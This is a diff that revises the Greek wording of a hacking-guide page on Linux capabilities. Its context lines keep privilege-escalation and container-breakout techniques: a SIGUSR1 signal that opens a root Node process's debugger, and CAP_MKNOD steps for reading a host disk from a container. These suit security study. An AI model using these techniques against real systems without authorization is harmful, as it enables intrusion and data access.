+[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) παρέχει μια σειρά ευαίσθητων λειτουργιών, συμπεριλαμβανομένης της πρόσβασης στο `/dev/mem`, `/dev/kmem` ή `/proc/kcore`, τροποποίηση του `mmap_min_addr`, πρόσβαση στις κλήσεις συστήματος `ioperm(2)` και `iopl(2)`, και διάφορες εντολές δίσκου. Η `FIBMAP ioctl(2)` είναι επίσης ενεργοποιημένη μέσω αυτής της ικανότητας, η οποία έχει προκαλέσει προβλήματα στο [παρελθόν](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Σύμφωνα με τη σελίδα man, αυτό επιτρέπει επίσης στον κάτοχο να περιγραφικά `εκτελεί μια σειρά από ειδικές για τη συσκευή λειτουργίες σε άλλες συσκευές`.

 Αυτό μπορεί να είναι χρήσιμο για **κλιμάκωση δικαιωμάτων** και **breakout του Docker.**

@ -1324,7 +1326,7 @@ os.killpg(pgid, signal.SIGKILL)
 ```
 **Privesc με kill**

-Αν έχετε δυνατότητες kill και υπάρχει ένα **πρόγραμμα node που τρέχει ως root** (ή ως διαφορετικός χρήστης) μπορείτε πιθανώς να **στείλετε** του το **σήμα SIGUSR1** και να το κάνετε να **ανοίξει τον debugger του node** όπου μπορείτε να συνδεθείτε.
+Αν έχετε δυνατότητες kill και υπάρχει ένα **πρόγραμμα node που τρέχει ως root** (ή ως διαφορετικός χρήστης) μπορείτε πιθανώς να **στείλετε** το **σήμα SIGUSR1** και να το κάνετε να **ανοίξει τον debugger του node** όπου μπορείτε να συνδεθείτε.
 ```bash
 kill -s SIGUSR1 <nodejs-ps>
 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@ -1337,7 +1339,7 @@ kill -s SIGUSR1 <nodejs-ps>

 <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

-[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό γεγονός κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
+[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.

 {% embed url="https://www.rootedcon.com/" %}

@ -1347,7 +1349,7 @@ kill -s SIGUSR1 <nodejs-ps>

 **Παράδειγμα με δυαδικό**

-Αν **`python`** έχει αυτή την ικανότητα, θα μπορεί να ακούει σε οποιαδήποτε θύρα και ακόμα να συνδέεται από αυτή σε οποιαδήποτε άλλη θύρα (ορισμένες υπηρεσίες απαιτούν συνδέσεις από συγκεκριμένες προνομιούχες θύρες)
+Αν **`python`** έχει αυτή την ικανότητα, θα μπορεί να ακούει σε οποιαδήποτε θύρα και ακόμη και να συνδέεται από αυτή σε οποιαδήποτε άλλη θύρα (ορισμένες υπηρεσίες απαιτούν συνδέσεις από συγκεκριμένες προνομιακές θύρες)

 {% tabs %}
 {% tab title="Listen" %}
@ -1377,7 +1379,7 @@ s.connect(('10.10.10.10',500))

 [**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα επιτρέπει στις διαδικασίες να **δημιουργούν RAW και PACKET sockets**, επιτρέποντάς τους να παράγουν και να στέλνουν αυθαίρετα πακέτα δικτύου. Αυτό μπορεί να οδηγήσει σε κινδύνους ασφαλείας σε κοντεϊνεροποιημένα περιβάλλοντα, όπως η παραχάραξη πακέτων, η έγχυση κυκλοφορίας και η παράκαμψη ελέγχων πρόσβασης δικτύου. Κακόβουλοι παράγοντες θα μπορούσαν να εκμεταλλευτούν αυτό για να παρεμβαίνουν στη δρομολόγηση κοντεϊνερών ή να διακυβεύσουν την ασφάλεια του δικτύου του κεντρικού υπολογιστή, ειδικά χωρίς επαρκείς προστασίες τείχους προστασίας. Επιπλέον, **CAP_NET_RAW** είναι κρίσιμη για τα προνομιούχα κοντέινερ ώστε να υποστηρίζουν λειτουργίες όπως το ping μέσω RAW ICMP αιτημάτων.

-**Αυτό σημαίνει ότι είναι δυνατό να καταγράψετε την κυκλοφορία.** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα.
+**Αυτό σημαίνει ότι είναι δυνατόν να καταγράψετε την κυκλοφορία.** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα.

 **Παράδειγμα με δυαδικό αρχείο**

@ -1436,9 +1438,9 @@ count=count+1
 ```
 ## CAP\_NET\_ADMIN + CAP\_NET\_RAW

-[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα δίνει στον κάτοχο τη δύναμη να **αλλάξει τις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των ρυθμίσεων τείχους προστασίας, των πινάκων δρομολόγησης, των δικαιωμάτων υποδοχών και των ρυθμίσεων διεπαφών δικτύου εντός των εκτεθειμένων ονομάτων χώρου δικτύου. Επίσης, επιτρέπει την ενεργοποίηση του **promiscuous mode** στις διεπαφές δικτύου, επιτρέποντας την ανίχνευση πακέτων σε διάφορους χώρους ονομάτων.
+[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα δίνει στον κάτοχο τη δύναμη να **αλλάξει τις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των ρυθμίσεων τείχους προστασίας, των πινάκων δρομολόγησης, των αδειών υποδοχών και των ρυθμίσεων διεπαφών δικτύου εντός των εκτεθειμένων ονομάτων χώρου δικτύου. Επίσης, επιτρέπει την ενεργοποίηση του **promiscuous mode** στις διεπαφές δικτύου, επιτρέποντας την ανίχνευση πακέτων σε διάφορους χώρους ονομάτων.

-**Παράδειγμα με δυαδικό**
+**Παράδειγμα με δυαδικό αρχείο**

 Ας υποθέσουμε ότι το **python binary** έχει αυτές τις ικανότητες.
 ```python
@ -1494,7 +1496,7 @@ sudo chattr -i file.txt
 [**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει την εκτέλεση της κλήσης συστήματος `chroot(2)`, η οποία μπορεί δυνητικά να επιτρέψει την έξοδο από περιβάλλοντα `chroot(2)` μέσω γνωστών ευπαθειών:

 * [Πώς να σπάσετε διάφορες λύσεις chroot](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
-* [chw00t: εργαλείο εξόδου chroot](https://github.com/earthquake/chw00t/)
+* [chw00t: εργαλείο εξόδου από chroot](https://github.com/earthquake/chw00t/)

 ## CAP\_SYS\_BOOT

@ -1504,7 +1506,7 @@ sudo chattr -i file.txt

 [**CAP\_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) διαχωρίστηκε από το ευρύτερο **CAP_SYS_ADMIN** στο Linux 2.6.37, παρέχοντας συγκεκριμένα τη δυνατότητα χρήσης της κλήσης `syslog(2)`. Αυτή η ικανότητα επιτρέπει την προβολή διευθύνσεων πυρήνα μέσω του `/proc` και παρόμοιων διεπαφών όταν η ρύθμιση `kptr_restrict` είναι στο 1, η οποία ελέγχει την έκθεση διευθύνσεων πυρήνα. Από το Linux 2.6.39, η προεπιλογή για το `kptr_restrict` είναι 0, που σημαίνει ότι οι διευθύνσεις πυρήνα είναι εκτεθειμένες, αν και πολλές διανομές το ρυθμίζουν σε 1 (κρύβουν διευθύνσεις εκτός από τον uid 0) ή 2 (πάντα κρύβουν διευθύνσεις) για λόγους ασφαλείας.

-Επιπλέον, **CAP_SYSLOG** επιτρέπει την πρόσβαση στην έξοδο `dmesg` όταν το `dmesg_restrict` είναι 1. Παρά αυτές τις αλλαγές, το **CAP_SYS_ADMIN** διατηρεί τη δυνατότητα εκτέλεσης λειτουργιών `syslog` λόγω ιστορικών προηγούμενων.
+Επιπλέον, **CAP_SYSLOG** επιτρέπει την πρόσβαση στην έξοδο του `dmesg` όταν το `dmesg_restrict` είναι ρυθμισμένο σε 1. Παρά αυτές τις αλλαγές, το **CAP_SYS_ADMIN** διατηρεί τη δυνατότητα εκτέλεσης λειτουργιών `syslog` λόγω ιστορικών προηγούμενων.

 ## CAP\_MKNOD

@ -1523,7 +1525,7 @@ sudo chattr -i file.txt
 2. Έχετε αρχική πρόσβαση στο κοντέινερ (Με δικαιώματα (EUID 0), και αποτελεσματικό `CAP_MKNOD`).
 3. Ο οικοδεσπότης και το κοντέινερ θα πρέπει να μοιράζονται το ίδιο namespace χρηστών.

-**Βήματα για τη Δημιουργία και Πρόσβαση σε Συσκευή Μπλοκ σε Ένα Κοντέινερ:**
+**Βήματα για τη Δημιουργία και Πρόσβαση σε μια Συσκευή Μπλοκ σε Ένα Κοντέινερ:**

 1. **Στον Οικοδεσπότη ως Κανονικός Χρήστης:**
 - Προσδιορίστε το τρέχον αναγνωριστικό χρήστη σας με `id`, π.χ., `uid=1000(standarduser)`.
@ -1540,7 +1542,7 @@ useradd -u 1000 standarduser
 # Switch to the newly created user
 su standarduser
 ```
-3. **Επιστροφή στον Κεντρικό Υπολογιστή:**
+3. **Πίσω στον Κεντρικό Υπολογιστή:**
 ```bash
 # Locate the PID of the container process owned by "standarduser"
 # This is an illustrative example; actual command might vary
@ -1553,17 +1555,17 @@ head /proc/12345/root/dev/sdb

 ### CAP\_SETPCAP

-**CAP_SETPCAP** επιτρέπει σε μια διαδικασία να **αλλάξει τα σύνολα ικανοτήτων** μιας άλλης διαδικασίας, επιτρέποντας την προσθήκη ή την αφαίρεση ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα. Ωστόσο, μια διαδικασία μπορεί να τροποποιήσει μόνο τις ικανότητες που κατέχει στο δικό της επιτρεπόμενο σύνολο, διασφαλίζοντας ότι δεν μπορεί να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από το δικό της. Οι πρόσφατες ενημερώσεις του πυρήνα έχουν σφίξει αυτούς τους κανόνες, περιορίζοντας το `CAP_SETPCAP` ώστε να μειώνει μόνο τις ικανότητες εντός του δικού του ή των επιτρεπόμενων συνόλων των απογόνων του, με στόχο τη μείωση των κινδύνων ασφαλείας. Η χρήση απαιτεί να έχετε το `CAP_SETPCAP` στο αποτελεσματικό σύνολο και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο, χρησιμοποιώντας το `capset()` για τροποποιήσεις. Αυτό συνοψίζει τη βασική λειτουργία και τους περιορισμούς του `CAP_SETPCAP`, επισημαίνοντας τον ρόλο του στη διαχείριση προνομίων και την ενίσχυση της ασφάλειας.
+**CAP_SETPCAP** επιτρέπει σε μια διαδικασία να **αλλάξει τα σύνολα ικανοτήτων** μιας άλλης διαδικασίας, επιτρέποντας την προσθήκη ή την αφαίρεση ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα. Ωστόσο, μια διαδικασία μπορεί να τροποποιήσει μόνο τις ικανότητες που κατέχει στο δικό της επιτρεπόμενο σύνολο, διασφαλίζοντας ότι δεν μπορεί να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από το δικό της. Οι πρόσφατες ενημερώσεις του πυρήνα έχουν σφίξει αυτούς τους κανόνες, περιορίζοντας το `CAP_SETPCAP` ώστε να μειώνει μόνο τις ικανότητες εντός του δικού του ή των απογόνων του επιτρεπόμενων συνόλων, με στόχο τη μείωση των κινδύνων ασφαλείας. Η χρήση απαιτεί να έχετε το `CAP_SETPCAP` στο αποτελεσματικό σύνολο και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο, χρησιμοποιώντας το `capset()` για τροποποιήσεις. Αυτό συνοψίζει τη βασική λειτουργία και τους περιορισμούς του `CAP_SETPCAP`, επισημαίνοντας τον ρόλο του στη διαχείριση προνομίων και την ενίσχυση της ασφάλειας.

-**`CAP_SETPCAP`** είναι μια ικανότητα του Linux που επιτρέπει σε μια διαδικασία να **τροποποιήσει τα σύνολα ικανοτήτων μιας άλλης διαδικασίας**. Παρέχει τη δυνατότητα προσθήκης ή αφαίρεσης ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα ικανοτήτων άλλων διαδικασιών. Ωστόσο, υπάρχουν ορισμένοι περιορισμοί σχετικά με το πώς μπορεί να χρησιμοποιηθεί αυτή η ικανότητα.
+**`CAP_SETPCAP`** είναι μια ικανότητα του Linux που επιτρέπει σε μια διαδικασία να **τροποποιεί τα σύνολα ικανοτήτων μιας άλλης διαδικασίας**. Παρέχει τη δυνατότητα προσθήκης ή αφαίρεσης ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα ικανοτήτων άλλων διαδικασιών. Ωστόσο, υπάρχουν ορισμένοι περιορισμοί σχετικά με το πώς μπορεί να χρησιμοποιηθεί αυτή η ικανότητα.

-Μια διαδικασία με `CAP_SETPCAP` **μπορεί να χορηγήσει ή να αφαιρέσει μόνο ικανότητες που βρίσκονται στο δικό της επιτρεπόμενο σύνολο ικανοτήτων**. Με άλλα λόγια, μια διαδικασία δεν μπορεί να χορηγήσει μια ικανότητα σε μια άλλη διαδικασία αν δεν έχει αυτή την ικανότητα η ίδια. Αυτός ο περιορισμός αποτρέπει μια διαδικασία από το να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από το δικό της επίπεδο προνομίων.
+Μια διαδικασία με `CAP_SETPCAP` **μπορεί να χορηγήσει ή να αφαιρέσει ικανότητες που βρίσκονται στο δικό της επιτρεπόμενο σύνολο ικανοτήτων**. Με άλλα λόγια, μια διαδικασία δεν μπορεί να χορηγήσει μια ικανότητα σε μια άλλη διαδικασία αν δεν έχει αυτή την ικανότητα η ίδια. Αυτός ο περιορισμός αποτρέπει μια διαδικασία από το να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από το δικό της επίπεδο προνομίων.

 Επιπλέον, σε πρόσφατες εκδόσεις του πυρήνα, η ικανότητα `CAP_SETPCAP` έχει **περιοριστεί περαιτέρω**. Δεν επιτρέπει πλέον σε μια διαδικασία να τροποποιεί αυθαίρετα τα σύνολα ικανοτήτων άλλων διαδικασιών. Αντίθετα, **επιτρέπει μόνο σε μια διαδικασία να μειώσει τις ικανότητες στο δικό της επιτρεπόμενο σύνολο ικανοτήτων ή στο επιτρεπόμενο σύνολο ικανοτήτων των απογόνων της**. Αυτή η αλλαγή εισήχθη για να μειώσει τους πιθανούς κινδύνους ασφαλείας που σχετίζονται με την ικανότητα.

 Για να χρησιμοποιήσετε το `CAP_SETPCAP` αποτελεσματικά, πρέπει να έχετε την ικανότητα στο αποτελεσματικό σας σύνολο ικανοτήτων και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο ικανοτήτων σας. Μπορείτε στη συνέχεια να χρησιμοποιήσετε την κλήση συστήματος `capset()` για να τροποποιήσετε τα σύνολα ικανοτήτων άλλων διαδικασιών.

-Συνοψίζοντας, το `CAP_SETPCAP` επιτρέπει σε μια διαδικασία να τροποποιήσει τα σύνολα ικανοτήτων άλλων διαδικασιών, αλλά δεν μπορεί να χορηγήσει ικανότητες που δεν έχει η ίδια. Επιπλέον, λόγω ανησυχιών ασφαλείας, η λειτουργικότητά του έχει περιοριστεί σε πρόσφατες εκδόσεις του πυρήνα ώστε να επιτρέπει μόνο τη μείωση των ικανοτήτων στο δικό του επιτρεπόμενο σύνολο ικανοτήτων ή στα επιτρεπόμενα σύνολα ικανοτήτων των απογόνων του.
+Συνοψίζοντας, το `CAP_SETPCAP` επιτρέπει σε μια διαδικασία να τροποποιεί τα σύνολα ικανοτήτων άλλων διαδικασιών, αλλά δεν μπορεί να χορηγήσει ικανότητες που δεν έχει η ίδια. Επιπλέον, λόγω ανησυχιών ασφαλείας, η λειτουργικότητά του έχει περιοριστεί σε πρόσφατες εκδόσεις του πυρήνα ώστε να επιτρέπει μόνο τη μείωση ικανοτήτων στο δικό του επιτρεπόμενο σύνολο ικανοτήτων ή στα επιτρεπόμενα σύνολα ικανοτήτων των απογόνων του.

 ## Αναφορές

@ -1586,8 +1588,8 @@ head /proc/12345/root/dev/sdb

 {% embed url="https://www.rootedcon.com/" %}
 {% hint style="success" %}
-Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
+Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

 <details>